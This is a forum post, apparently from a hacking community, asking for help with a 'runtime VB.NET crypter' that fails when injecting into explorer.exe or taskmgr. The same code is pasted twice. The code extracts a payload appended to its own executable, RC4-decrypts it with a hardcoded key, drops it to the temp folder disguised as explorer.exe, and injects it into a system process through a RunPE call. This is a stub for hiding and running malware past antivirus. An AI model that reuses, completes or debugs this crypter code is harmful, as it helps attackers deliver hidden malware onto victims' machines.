I'm Making A runtime Vb.net Crypter
when ever i want to inject on explorer or taskmgr [runexe(fbyte, "C:\Windows\explorer.exe")] it gives me some kind of errors
![Name: prblm.jpg
Views: 23
Size: 21.3 KB]()
when i inject vbc.exe it works fine ...
Part of my code :
--------------------------------
Dim temppath As String
temppath= System.IO.Path.GetTempPath
Dim s As String = temppath & "\explorer.exe"
Try
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
thefileon= Space(LOF(1))
FileGet(1, thefileon)
FileClose(1)
Filetosplit = Split(thefileon, filesplit)
filezafter = rc4(Filetosplit(1), "2pac")
FileOpen(5, TPath & "\explorer.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
Catch ex As Exception
End Try
fbyte= System.IO.File.ReadAllBytes(temppath& "\explorer.exe")
Try
psrun.runexe(fbyte, "C:\Windows\explorer.exe")
Catch ex As Exception
End Try
My.Computer.FileSystem.DeleteFile(s)
------------------------------------------------
when ever i want to inject on explorer or taskmgr [runexe(fbyte, "C:\Windows\explorer.exe")] it gives me some kind of errors
when i inject vbc.exe it works fine ...
Part of my code :
--------------------------------
Dim temppath As String
temppath= System.IO.Path.GetTempPath
Dim s As String = temppath & "\explorer.exe"
Try
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
thefileon= Space(LOF(1))
FileGet(1, thefileon)
FileClose(1)
Filetosplit = Split(thefileon, filesplit)
filezafter = rc4(Filetosplit(1), "2pac")
FileOpen(5, TPath & "\explorer.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(5, filezafter)
FileClose(5)
Catch ex As Exception
End Try
fbyte= System.IO.File.ReadAllBytes(temppath& "\explorer.exe")
Try
psrun.runexe(fbyte, "C:\Windows\explorer.exe")
Catch ex As Exception
End Try
My.Computer.FileSystem.DeleteFile(s)
------------------------------------------------